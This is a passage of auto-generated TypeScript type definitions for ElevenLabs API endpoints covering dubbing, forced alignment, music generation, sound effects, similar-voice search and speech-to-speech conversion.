all possible responses + */ +export type ElevenlabsPostV1DubbingResourceDubbingIdMigrateSegmentsResponse = + ElevenlabsPostV1DubbingResourceDubbingIdMigrateSegmentsStatus200 + +export type ElevenlabsPostV1DubbingResourceDubbingIdRenderLanguagePath = { + dubbing_id: string + language: string +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdRenderLanguageStatus200 = { + version: number + render_id: string +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdRenderLanguageBody = { + /** + * @description The type of the render. One of ['mp4', 'aac', 'mp3', 'wav', 'aaf', 'tracks_zip', 'clips_zip'] + * @type string + */ + render_type: RenderTypeKey + /** + * @description Whether to normalize the volume of the rendered audio. + * @default false + */ + normalize_volume?: boolean | null +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdRenderLanguageOptions = { + body: ElevenlabsPostV1DubbingResourceDubbingIdRenderLanguageBody + path: ElevenlabsPostV1DubbingResourceDubbingIdRenderLanguagePath + query?: never + headers?: never +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdRenderLanguageResponses = { + '200': ElevenlabsPostV1DubbingResourceDubbingIdRenderLanguageStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1DubbingResourceDubbingIdRenderLanguageResponse = + ElevenlabsPostV1DubbingResourceDubbingIdRenderLanguageStatus200 + +export type ElevenlabsPostV1DubbingResourceDubbingIdSpeakerPath = { + dubbing_id: string +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdSpeakerStatus200 = { + version: number + speaker_id: string +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdSpeakerBody = { + /** + * @description Name to attribute to this speaker. + */ + speaker_name?: string | null + /** + * @description Either the identifier of a voice from the ElevenLabs voice library, or one of ['track-clone', 'clip-clone']. + */ + voice_id?: string | null + /** + * @description For models that support it, the voice similarity value to use. This will default to 0.65, with a valid range of [0.0, 1.0]. + */ + voice_stability?: number | null + /** + * @description For models that support it, the voice similarity value to use. This will default to 1.0, with a valid range of [0.0, 1.0]. + */ + voice_similarity?: number | null + /** + * @description For models that support it, the voice style value to use. This will default to 1.0, with a valid range of [0.0, 1.0]. + */ + voice_style?: number | null +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdSpeakerOptions = { + body: ElevenlabsPostV1DubbingResourceDubbingIdSpeakerBody + path: ElevenlabsPostV1DubbingResourceDubbingIdSpeakerPath + query?: never + headers?: never +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdSpeakerResponses = { + '200': ElevenlabsPostV1DubbingResourceDubbingIdSpeakerStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1DubbingResourceDubbingIdSpeakerResponse = + ElevenlabsPostV1DubbingResourceDubbingIdSpeakerStatus200 + +export type ElevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegmentPath = + { + dubbing_id: string + speaker_id: string + } + +export type ElevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegmentStatus200 = + { + version: number + new_segment: string + } + +export type ElevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegmentBody = + { + start_time: number + end_time: number + text?: string | null + translations?: { + [key: string]: string + } | null + } + +export type ElevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegmentOptions = + { + body: ElevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegmentBody + path: ElevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegmentPath + query?: never + headers?: never + } + +export type ElevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegmentResponses = + { + '200': ElevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegmentStatus200 + } + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegmentResponse = + ElevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegmentStatus200 + +export type ElevenlabsPostV1DubbingResourceDubbingIdTranscribePath = { + dubbing_id: string +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdTranscribeStatus200 = { + version: number +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdTranscribeBody = { + /** + * @description Transcribe this specific list of segments. + * @type array + */ + segments: string[] +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdTranscribeOptions = { + body: ElevenlabsPostV1DubbingResourceDubbingIdTranscribeBody + path: ElevenlabsPostV1DubbingResourceDubbingIdTranscribePath + query?: never + headers?: never +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdTranscribeResponses = { + '200': ElevenlabsPostV1DubbingResourceDubbingIdTranscribeStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1DubbingResourceDubbingIdTranscribeResponse = + ElevenlabsPostV1DubbingResourceDubbingIdTranscribeStatus200 + +export type ElevenlabsPostV1DubbingResourceDubbingIdTranslatePath = { + dubbing_id: string +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdTranslateStatus200 = { + version: number +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdTranslateBody = { + /** + * @description Translate only this list of segments. + * @type array + */ + segments: string[] + /** + * @description Translate only these languages for each segment. + */ + languages: string[] | null +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdTranslateOptions = { + body: ElevenlabsPostV1DubbingResourceDubbingIdTranslateBody + path: ElevenlabsPostV1DubbingResourceDubbingIdTranslatePath + query?: never + headers?: never +} + +export type ElevenlabsPostV1DubbingResourceDubbingIdTranslateResponses = { + '200': ElevenlabsPostV1DubbingResourceDubbingIdTranslateStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1DubbingResourceDubbingIdTranslateResponse = + ElevenlabsPostV1DubbingResourceDubbingIdTranslateStatus200 + +/** + * @description Model representing the response from the aligner service. + * @type object + */ +export type ElevenlabsPostV1ForcedAlignmentStatus200 = { + /** + * @description List of characters with their timing information. + * @type array + */ + characters: ForcedAlignmentCharacterResponseModel[] + /** + * @description List of words with their timing information. + * @type array + */ + words: ForcedAlignmentWordResponseModel[] + /** + * @description The average alignment loss/confidence score for the entire transcript, calculated from all characters. + * @type number + */ + loss: number +} + +export type ElevenlabsPostV1ForcedAlignmentBody = { + /** + * @description The file to align. All major audio formats are supported. The file size must be less than 1GB. + * + * Format: `binary` + * @type string + */ + file: Blob + /** + * @description The text to align with the audio. The input text can be in any format, however diarization is not supported at this time. + * @type string + */ + text: string +} + +export type ElevenlabsPostV1ForcedAlignmentOptions = { + body: ElevenlabsPostV1ForcedAlignmentBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1ForcedAlignmentResponses = { + '200': ElevenlabsPostV1ForcedAlignmentStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1ForcedAlignmentResponse = + ElevenlabsPostV1ForcedAlignmentStatus200 + +/** + * @description + * Format: `binary` + * @type string + */ +export type ElevenlabsPostV1MusicStatus200 = Blob + +export type ElevenlabsPostV1MusicBody = { + /** + * @description A simple text prompt to generate a song from. Cannot be used in conjunction with `composition_plan`. + */ + prompt?: string | null + /** + * @description Optional generation mode hint for prompt-based music generation. Can only be used with `prompt`. + */ + generation_mode?: MusicGenerationModeKey | null + /** + * @description A music prompt. Deprecated. Use `composition_plan` instead. + * @deprecated + */ + music_prompt?: MusicPrompt | null + /** + * @description The lyrics text to use for the generation. + */ + lyrics_text?: string | null + /** + * @description A detailed composition plan to guide music generation. Cannot be used in conjunction with `prompt`. + */ + composition_plan?: (MusicPrompt | CompositionPlan) | null + /** + * @description The length of the song to generate in milliseconds. Used only in conjunction with `prompt`. Must be between 3000ms and 600000ms. Optional - if not provided, the model will choose a length based on the prompt. + */ + music_length_ms?: number | null + /** + * @description The model to use for the generation. + * @default 'music_v1' + * @type string | undefined + */ + model_id?: MusicModelIDKey + /** + * @description Random seed to initialize the music generation process. Providing the same seed with the same parameters can help achieve more consistent results, but exact reproducibility is not guaranteed and outputs may change across system updates. Cannot be used in conjunction with prompt. + */ + seed?: number | null + /** + * @description If true, guarantees that the generated song will be instrumental. If false, the song may or may not be instrumental depending on the `prompt`. Can only be used with `prompt`. + * @default false + * @type boolean | undefined + */ + force_instrumental?: boolean + /** + * @description The ID of the finetune to use for the generation + */ + finetune_id?: string | null + /** + * @description How strongly the finetune influences the generation. Defaults to 1.0 (full strength). Lower values soften the influence of the finetune, leaving more room for prompt-level steering. Only meaningful when `finetune_id` is also provided. + * @maximum 2 + * @default 1 + * @type number | undefined + */ + finetune_strength?: number + /** + * @description If true, proper names in the prompt will be phonetically spelled in the lyrics for better pronunciation by the music model. The original names will be restored in word timestamps. + * @default false + * @type boolean | undefined + */ + use_phonetic_names?: boolean + /** + * @description Controls how strictly section durations in the `composition_plan` are enforced. Only used with `composition_plan` and only applies to `music_v1`; for `music_v2` and `music_v2_5` section durations are always enforced and this is ignored. When false for `music_v1`, the model may adjust individual section durations for better quality and latency, while preserving the total song duration from the plan. + * @default true + * @type boolean | undefined + */ + respect_sections_durations?: boolean + /** + * @description Whether to store the generated song for inpainting. + * @default false + * @type boolean | undefined + */ + store_for_inpainting?: boolean + /** + * @description Whether to sign the generated song with C2PA. Applicable only for mp3 files. + * @default false + * @type boolean | undefined + */ + sign_with_c2pa?: boolean +} + +export type ElevenlabsPostV1MusicOptions = { + body: ElevenlabsPostV1MusicBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1MusicResponses = { + '200': ElevenlabsPostV1MusicStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1MusicResponse = ElevenlabsPostV1MusicStatus200 + +export type ElevenlabsPostV1MusicDetailedStatus200 = unknown + +export const elevenlabsPostV1MusicDetailedRequestModelStylePrefixEnum = { + music: 'music', + sfx: 'sfx', +} as const + +export type ElevenlabsPostV1MusicDetailedRequestModelStylePrefixEnumKey = + (typeof elevenlabsPostV1MusicDetailedRequestModelStylePrefixEnum)[keyof typeof elevenlabsPostV1MusicDetailedRequestModelStylePrefixEnum] + +export type ElevenlabsPostV1MusicDetailedBody = { + /** + * @description A simple text prompt to generate a song from. Cannot be used in conjunction with `composition_plan`. + */ + prompt?: string | null + /** + * @description Optional generation mode hint for prompt-based music generation. Can only be used with `prompt`. + */ + generation_mode?: MusicGenerationModeKey | null + /** + * @description A music prompt. Deprecated. Use `composition_plan` instead. + * @deprecated + */ + music_prompt?: MusicPrompt | null + /** + * @description The lyrics text to use for the generation. + */ + lyrics_text?: string | null + /** + * @description A detailed composition plan to guide music generation. Cannot be used in conjunction with `prompt`. + */ + composition_plan?: (MusicPrompt | CompositionPlan) | null + /** + * @description The length of the song to generate in milliseconds. Used only in conjunction with `prompt`. Must be between 3000ms and 600000ms. Optional - if not provided, the model will choose a length based on the prompt. + */ + music_length_ms?: number | null + /** + * @description The model to use for the generation. + * @default 'music_v1' + * @type string | undefined + */ + model_id?: MusicModelIDKey + /** + * @description Random seed to initialize the music generation process. Providing the same seed with the same parameters can help achieve more consistent results, but exact reproducibility is not guaranteed and outputs may change across system updates. Cannot be used in conjunction with prompt. + */ + seed?: number | null + /** + * @description If true, guarantees that the generated song will be instrumental. If false, the song may or may not be instrumental depending on the `prompt`. Can only be used with `prompt`. + * @default false + * @type boolean | undefined + */ + force_instrumental?: boolean + /** + * @description The ID of the finetune to use for the generation + */ + finetune_id?: string | null + /** + * @description How strongly the finetune influences the generation. Defaults to 1.0 (full strength). Lower values soften the influence of the finetune, leaving more room for prompt-level steering. Only meaningful when `finetune_id` is also provided. + * @maximum 2 + * @default 1 + * @type number | undefined + */ + finetune_strength?: number + /** + * @description If true, proper names in the prompt will be phonetically spelled in the lyrics for better pronunciation by the music model. The original names will be restored in word timestamps. + * @default false + * @type boolean | undefined + */ + use_phonetic_names?: boolean + /** + * @description Controls how strictly section durations in the `composition_plan` are enforced. Only used with `composition_plan` and only applies to `music_v1`; for `music_v2` and `music_v2_5` section durations are always enforced and this is ignored. When false for `music_v1`, the model may adjust individual section durations for better quality and latency, while preserving the total song duration from the plan. + * @default true + * @type boolean | undefined + */ + respect_sections_durations?: boolean + /** + * @description Whether to store the generated song for inpainting. + * @default false + * @type boolean | undefined + */ + store_for_inpainting?: boolean + /** + * @description Whether to return the timestamps of the words in the generated song. + * @default false + * @type boolean | undefined + */ + with_timestamps?: boolean + /** + * @description Whether to return the visual waveform of the generated song. + * @default false + * @type boolean | undefined + */ + with_waveform_visual?: boolean + /** + * @description Whether to sign the generated song with C2PA. Applicable only for mp3 files. + * @default false + * @type boolean | undefined + */ + sign_with_c2pa?: boolean + /** + * @default 'music' + * @type string | undefined + */ + model_style_prefix?: ElevenlabsPostV1MusicDetailedRequestModelStylePrefixEnumKey +} + +export type ElevenlabsPostV1MusicDetailedOptions = { + body: ElevenlabsPostV1MusicDetailedBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1MusicDetailedResponses = { + '200': ElevenlabsPostV1MusicDetailedStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1MusicDetailedResponse = + ElevenlabsPostV1MusicDetailedStatus200 + +/** + * @description SSE stream. Audio chunks are emitted as base64-encoded payloads in audio_chunk events, alongside `words_timestamps` and `waveform_visual` slices, each filled in only when its opt-in flag is set and sent as an empty list otherwise. Joining the `waveform_visual` slices in arrival order gives the visual waveform of the whole song. + * @type string + */ +export type ElevenlabsPostV1MusicDetailedStreamStatus200 = string + +export type ElevenlabsPostV1MusicDetailedStreamBody = { + /** + * @description A simple text prompt to generate a song from. Cannot be used in conjunction with `composition_plan`. + */ + prompt?: string | null + /** + * @description Optional generation mode hint for prompt-based music generation. Can only be used with `prompt`. + */ + generation_mode?: MusicGenerationModeKey | null + /** + * @description A music prompt. Deprecated. Use `composition_plan` instead. + * @deprecated + */ + music_prompt?: MusicPrompt | null + /** + * @description The lyrics text to use for the generation. + */ + lyrics_text?: string | null + /** + * @description A detailed composition plan to guide music generation. Cannot be used in conjunction with `prompt`. + */ + composition_plan?: (MusicPrompt | CompositionPlan) | null + /** + * @description The length of the song to generate in milliseconds. Used only in conjunction with `prompt`. Must be between 3000ms and 600000ms. Optional - if not provided, the model will choose a length based on the prompt. + */ + music_length_ms?: number | null + /** + * @description The model to use for the generation. + * @default 'music_v1' + * @type string | undefined + */ + model_id?: MusicModelIDKey + /** + * @description Random seed to initialize the music generation process. Providing the same seed with the same parameters can help achieve more consistent results, but exact reproducibility is not guaranteed and outputs may change across system updates. Cannot be used in conjunction with prompt. + */ + seed?: number | null + /** + * @description If true, guarantees that the generated song will be instrumental. If false, the song may or may not be instrumental depending on the `prompt`. Can only be used with `prompt`. + * @default false + * @type boolean | undefined + */ + force_instrumental?: boolean + /** + * @description The ID of the finetune to use for the generation + */ + finetune_id?: string | null + /** + * @description How strongly the finetune influences the generation. Defaults to 1.0 (full strength). Lower values soften the influence of the finetune, leaving more room for prompt-level steering. Only meaningful when `finetune_id` is also provided. + * @maximum 2 + * @default 1 + * @type number | undefined + */ + finetune_strength?: number + /** + * @description If true, proper names in the prompt will be phonetically spelled in the lyrics for better pronunciation by the music model. The original names will be restored in word timestamps. + * @default false + * @type boolean | undefined + */ + use_phonetic_names?: boolean + /** + * @description Whether to store the generated song for inpainting. + * @default false + * @type boolean | undefined + */ + store_for_inpainting?: boolean + /** + * @description Whether to return the timestamps of the words in the generated song. + * @default false + * @type boolean | undefined + */ + with_timestamps?: boolean + /** + * @description Whether to return the visual waveform of the generated song. + * @default false + * @type boolean | undefined + */ + with_waveform_visual?: boolean +} + +export type ElevenlabsPostV1MusicDetailedStreamOptions = { + body: ElevenlabsPostV1MusicDetailedStreamBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1MusicDetailedStreamResponses = { + '200': ElevenlabsPostV1MusicDetailedStreamStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1MusicDetailedStreamResponse = + ElevenlabsPostV1MusicDetailedStreamStatus200 + +export type ElevenlabsPostV1MusicPlanStatus200 = MusicPrompt | CompositionPlan + +export type ElevenlabsPostV1MusicPlanBody = { + /** + * @description A simple text prompt to compose a plan from. + * @maxLength 4100 + * @type string + */ + prompt: string + /** + * @description The length of the composition plan to generate in milliseconds. Must be between 3000ms and 600000ms. Optional - if not provided, the model will choose a length based on the prompt. + */ + music_length_ms?: number | null + /** + * @description An optional composition plan to use as a source for the new composition plan. + */ + source_composition_plan?: MusicPrompt | CompositionPlan | null + /** + * @description The model to use for the generation. + * @default 'music_v1' + * @type string | undefined + */ + model_id?: MusicModelIDKey +} + +export type ElevenlabsPostV1MusicPlanOptions = { + body: ElevenlabsPostV1MusicPlanBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1MusicPlanResponses = { + '200': ElevenlabsPostV1MusicPlanStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1MusicPlanResponse = + ElevenlabsPostV1MusicPlanStatus200 + +export type ElevenlabsPostV1MusicStemSeparationStatus200 = unknown + +export const elevenlabsPostV1MusicStemSeparationRequestStemVariationIdEnum = { + two_stems_v1: 'two_stems_v1', + six_stems_v1: 'six_stems_v1', +} as const + +export type ElevenlabsPostV1MusicStemSeparationRequestStemVariationIdEnumKey = + (typeof elevenlabsPostV1MusicStemSeparationRequestStemVariationIdEnum)[keyof typeof elevenlabsPostV1MusicStemSeparationRequestStemVariationIdEnum] + +export type ElevenlabsPostV1MusicStemSeparationBody = { + /** + * @description The audio file to separate into stems. + * + * Format: `binary` + * @type string + */ + file: Blob + /** + * @description The id of the stem variation to use. + * @default 'six_stems_v1' + * @type string | undefined + */ + stem_variation_id?: ElevenlabsPostV1MusicStemSeparationRequestStemVariationIdEnumKey + /** + * @description Whether to sign the generated song with C2PA. Applicable only for mp3 files. + * @default false + * @type boolean | undefined + */ + sign_with_c2pa?: boolean +} + +export type ElevenlabsPostV1MusicStemSeparationOptions = { + body: ElevenlabsPostV1MusicStemSeparationBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1MusicStemSeparationResponses = { + '200': ElevenlabsPostV1MusicStemSeparationStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1MusicStemSeparationResponse = + ElevenlabsPostV1MusicStemSeparationStatus200 + +/** + * @description + * Format: `binary` + * @type string + */ +export type ElevenlabsPostV1MusicStreamStatus200 = Blob + +export type ElevenlabsPostV1MusicStreamBody = { + /** + * @description A simple text prompt to generate a song from. Cannot be used in conjunction with `composition_plan`. + */ + prompt?: string | null + /** + * @description Optional generation mode hint for prompt-based music generation. Can only be used with `prompt`. + */ + generation_mode?: MusicGenerationModeKey | null + /** + * @description A music prompt. Deprecated. Use `composition_plan` instead. + * @deprecated + */ + music_prompt?: MusicPrompt | null + /** + * @description The lyrics text to use for the generation. + */ + lyrics_text?: string | null + /** + * @description A detailed composition plan to guide music generation. Cannot be used in conjunction with `prompt`. + */ + composition_plan?: (MusicPrompt | CompositionPlan) | null + /** + * @description The length of the song to generate in milliseconds. Used only in conjunction with `prompt`. Must be between 3000ms and 600000ms. Optional - if not provided, the model will choose a length based on the prompt. + */ + music_length_ms?: number | null + /** + * @description The model to use for the generation. + * @default 'music_v1' + * @type string | undefined + */ + model_id?: MusicModelIDKey + /** + * @description Random seed to initialize the music generation process. Providing the same seed with the same parameters can help achieve more consistent results, but exact reproducibility is not guaranteed and outputs may change across system updates. Cannot be used in conjunction with prompt. + */ + seed?: number | null + /** + * @description If true, guarantees that the generated song will be instrumental. If false, the song may or may not be instrumental depending on the `prompt`. Can only be used with `prompt`. + * @default false + * @type boolean | undefined + */ + force_instrumental?: boolean + /** + * @description The ID of the finetune to use for the generation + */ + finetune_id?: string | null + /** + * @description How strongly the finetune influences the generation. Defaults to 1.0 (full strength). Lower values soften the influence of the finetune, leaving more room for prompt-level steering. Only meaningful when `finetune_id` is also provided. + * @maximum 2 + * @default 1 + * @type number | undefined + */ + finetune_strength?: number + /** + * @description If true, proper names in the prompt will be phonetically spelled in the lyrics for better pronunciation by the music model. The original names will be restored in word timestamps. + * @default false + * @type boolean | undefined + */ + use_phonetic_names?: boolean + /** + * @description Whether to store the generated song for inpainting. + * @default false + * @type boolean | undefined + */ + store_for_inpainting?: boolean +} + +export type ElevenlabsPostV1MusicStreamOptions = { + body: ElevenlabsPostV1MusicStreamBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1MusicStreamResponses = { + '200': ElevenlabsPostV1MusicStreamStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1MusicStreamResponse = + ElevenlabsPostV1MusicStreamStatus200 + +/** + * @description Response model for music upload endpoint. + * @example {"song_id":"jR4Xz8kL2mNpQ9wVtY1b"} + * @type object + */ +export type ElevenlabsPostV1MusicUploadStatus200 = { + /** + * @description Unique identifier for the uploaded song + * @type string + */ + song_id: string + /** + * @description The composition plan extracted from the uploaded song. Only present if `extract_composition_plan` was provided in the request body. + */ + composition_plan?: MusicPrompt | CompositionPlan | null + /** + * @description Word-level timestamps transcribed from the uploaded song. Only present if `with_timestamps` was True in the request body + */ + words_timestamps?: WordTimestamp[] | null + /** + * @description A low-resolution waveform of the uploaded song, for showing a preview of it. Holds 4 values per second of audio, from -1000 to 1000. Stereo is mixed down to a single channel. Only present if `with_waveform_visual` was True in the request body. + */ + waveform_visual?: number[] | null +} + +export type ElevenlabsPostV1MusicUploadBody = { + /** + * @description The audio file to upload. + * + * Format: `binary` + * @type string + */ + file: Blob + /** + * @description Whether to generate and return the composition plan for the uploaded song. Pass a model id (`music_v1`, `music_v2` or `music_v2_5`) to control which composition plan format is returned. Passing `true`/`false` is deprecated; `true` defaults to the `music_v1` plan format. Enabling this will increase the latency. + * @default false + */ + extract_composition_plan?: boolean | MusicModelIDKey + /** + * @description Whether to transcribe the uploaded song and return word-level timestamps. If True, the response will include words_timestamps but will increase the latency. + * @default false + * @type boolean | undefined + */ + with_timestamps?: boolean + /** + * @description Whether to return the visual waveform of the uploaded song. + * @default false + * @type boolean | undefined + */ + with_waveform_visual?: boolean +} + +export type ElevenlabsPostV1MusicUploadOptions = { + body: ElevenlabsPostV1MusicUploadBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1MusicUploadResponses = { + '200': ElevenlabsPostV1MusicUploadStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1MusicUploadResponse = + ElevenlabsPostV1MusicUploadStatus200 + +/** + * @description + * Format: `binary` + * @type string + */ +export type ElevenlabsPostV1MusicVideoToMusicStatus200 = Blob + +export type ElevenlabsPostV1MusicVideoToMusicBody = { + /** + * @description + * One or more video files sent via FormData array (multipart/form-data). They will be combined into one codec in order. + * A maximum of 10 videos is allowed, where the total size of the combined video is limited to 200MB. + * In total, the video can be up to 600 seconds long. Note that combining multiple videos may increase the request duration significantly. If possible, combine the videos beforehand. + * + * @type array + */ + videos: Blob[] + /** + * @description Optional text description of the music you want. A maximum of 4100 characters is allowed. + */ + description?: string | null + /** + * @description Optional list of style tags (e.g. ['upbeat', 'cinematic']). A maximum of 10 tags is allowed. + * @default [] + * @type array | undefined + */ + tags?: string[] + /** + * @description The model to use for the generation. + * @default 'music_v1' + * @type string | undefined + */ + model_id?: MusicModelIDKey + /** + * @description When true, incorporate SFX cues from the video. + * @default false + * @type boolean | undefined + */ + add_sfx?: boolean + /** + * @description When true, return a ZIP with separate music and SFX audio tracks instead of a single mixed file. Use this for more flexibility to layer the tracks. + * @default false + * @type boolean | undefined + */ + separate_tracks?: boolean + /** + * @description When true, analyze the video's audio track and use its genres, BPM, instrumentation, mood, and arc as reference characteristics for music generation. + * @default false + * @type boolean | undefined + */ + use_audio_as_reference?: boolean + /** + * @description Whether to sign the generated song with C2PA. Applicable only for mp3 files. + * @default false + * @type boolean | undefined + */ + sign_with_c2pa?: boolean +} + +export type ElevenlabsPostV1MusicVideoToMusicOptions = { + body: ElevenlabsPostV1MusicVideoToMusicBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1MusicVideoToMusicResponses = { + '200': ElevenlabsPostV1MusicVideoToMusicStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1MusicVideoToMusicResponse = + ElevenlabsPostV1MusicVideoToMusicStatus200 + +/** + * @example {"has_more":false,"total_count":0,"voices":[{"accent":"american","age":"young","category":"professional","cloned_by_count":11,"date_unix":1714423232,"description":"Perfectly calm, neutral and strong voice. Great for a young female protagonist.","descriptive":"calm","featured":false,"free_users_allowed":true,"gender":"Female","language":"en","live_moderation_enabled":false,"name":"Alita","play_api_usage_character_count_1y":12852,"preview_url":"https://storage.googleapis.com/eleven-public-prod/wqkMCd9huxXHX1dy5mLJn4QEQHj1/voices/sB1b5zUrxQVAFl2PhZFp/55e71aac-5cb7-4b3d-8241-429388160509.mp3","public_owner_id":"63e84100a6bf7874ba37a1bab9a31828a379ec94b891b401653b655c5110880f","rate":1,"usage_character_count_1y":12852,"usage_character_count_7d":12852,"use_case":"characters_animation","verified_languages":[{"accent":"american","language":"en","locale":"en-US","model_id":"eleven_multilingual_v2","preview_url":"https://storage.googleapis.com/eleven-public-prod/wqkMCd9huxXHX1dy5mLJn4QEQHj1/voices/sB1b5zUrxQVAFl2PhZFp/55e71aac-5cb7-4b3d-8241-429388160509.mp3"}],"voice_id":"sB1b5zUrxQVAFl2PhZFp"}]} + * @type object + */ +export type ElevenlabsPostV1SimilarVoicesStatus200 = { + /** + * @description The list of shared voices + * @type array + */ + voices: LibraryVoiceResponseModel[] + /** + * @description Whether there are more shared voices in subsequent pages. + * @type boolean + */ + has_more: boolean + /** + * @description The total number of shared voices matching the query. + * @default 0 + * @type integer | undefined + */ + total_count?: number + last_sort_id?: string | null +} + +export type ElevenlabsPostV1SimilarVoicesBody = { + /** + * @description + * Format: `binary` + * @type string | undefined + */ + audio_file?: Blob + /** + * @description Threshold for voice similarity between provided sample and library voices. Values range from 0 to 2. The smaller the value the more similar voices will be returned. + * @example 0.5 + */ + similarity_threshold?: number | null + /** + * @description Number of most similar voices to return. If similarity_threshold is provided, less than this number of voices may be returned. Values range from 1 to 100. + * @example 10 + */ + top_k?: number | null +} + +export type ElevenlabsPostV1SimilarVoicesOptions = { + body: ElevenlabsPostV1SimilarVoicesBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1SimilarVoicesResponses = { + '200': ElevenlabsPostV1SimilarVoicesStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1SimilarVoicesResponse = + ElevenlabsPostV1SimilarVoicesStatus200 + +/** + * @description + * Format: `binary` + * @type string + */ +export type ElevenlabsPostV1SoundGenerationStatus200 = Blob + +export type ElevenlabsPostV1SoundGenerationBody = { + /** + * @description The text that will get converted into a sound effect. + * @example A large, ancient wooden door slowly opening in an eerie, abandoned castle.. + * @type string + */ + text: string + /** + * @description Whether to create a sound effect that loops smoothly. + * @default false + * @type boolean | undefined + */ + loop?: boolean + /** + * @description The duration of the sound which will be generated in seconds. Must be at least 0.5 and at most 30. If set to None we will guess the optimal duration using the prompt. Defaults to None. + */ + duration_seconds?: number | null + /** + * @description A higher prompt influence makes your generation follow the prompt more closely while also making generations less variable. Must be a value between 0 and 1. Defaults to 0.3. + * @default 0.3 + */ + prompt_influence?: number | null + /** + * @description The model ID to use for the sound generation. + * @default 'eleven_text_to_sound_v2' + * @example eleven_text_to_sound_v2 + * @type string | undefined + */ + model_id?: SFXModelIdKey +} + +export type ElevenlabsPostV1SoundGenerationOptions = { + body: ElevenlabsPostV1SoundGenerationBody + path?: never + query?: never + headers?: never +} + +export type ElevenlabsPostV1SoundGenerationResponses = { + '200': ElevenlabsPostV1SoundGenerationStatus200 +} + +/** + * @description Union of all possible responses + */ +export type ElevenlabsPostV1SoundGenerationResponse = + ElevenlabsPostV1SoundGenerationStatus200 + +export type ElevenlabsPostV1SpeechToSpeechVoiceIdPath = { + voice_id: string +} + +export type ElevenlabsPostV1SpeechToSpeechVoiceIdStatus200 = unknown + +export const elevenlabsPostV1SpeechToSpeechVoiceIdRequestFileFormat = { + pcm_s16le_16: 'pcm_s16le_16', + other: 'other', +} as const + +export type ElevenlabsPostV1SpeechToSpeechVoiceIdRequestFileFormatKey = + (typeof elevenlabsPostV1SpeechToSpeechVoiceIdRequestFileFormat)[keyof typeof elevenlabsPostV1SpeechToSpeechVoiceIdRequestFileFormat] + +export type ElevenlabsPostV1SpeechToSpeechVoiceIdBody = { + /** + * @description The audio file which holds the content and emotion that will control the generated speech. + * + * Format: `binary` + * @type string + */ + audio: Blob + /** + * @description Identifier of the model that will be used, you can query them using GET /v1/models. The model needs to have support for speech to speech, you can check this using the can_do_voice_conversion property. + * @default 'eleven_english_sts_v2' + * @type string | undefined + */ + model_id?: string + /** + * @description Voice settings overriding stored settings for the given voice. They are applied only on the given request. Needs to be send as a JSON encoded string. + */ + voice_settings?: string | null + /** + * @description If specified, our system will make a best effort to sample deterministically, such that repeated requests with the same seed and parameters should return the same result. Determinism is not guaranteed. Must be integer between 0 and 4294967295. + * @example 12345 + */ + seed?: number | null + /** + * @description If set, will remove the background noise from your audio input using our audio isolation model. Only applies to Voice Changer. + * @default false + * @example true + * @type boolean | undefined + */ + remove_background_noise?: boolean + /** + * @description The format of input audio. Options are 'pcm_s16le_16' or 'other' For `pcm_s16le_16`, the input audio must be 16-bit PCM at a 16kHz sample rate, single channel (mono), and little-endian byte order. Latency will be lower than with passing an encoded waveform. + * @default other + * @example pcm_s16le_16 + * @example other + */ + file_format?: ElevenlabsPostV1SpeechToSpeechVoiceIdRequestFileFormatKey | null +} + +export type ElevenlabsPostV1SpeechToSpeechVoiceIdOptions = { + body: ElevenlabsPostV1SpeechToSpeechVoiceIdBody + path: ElevenlabsPostV1SpeechToSpeechVoiceIdPath + query?: never + headers?: never 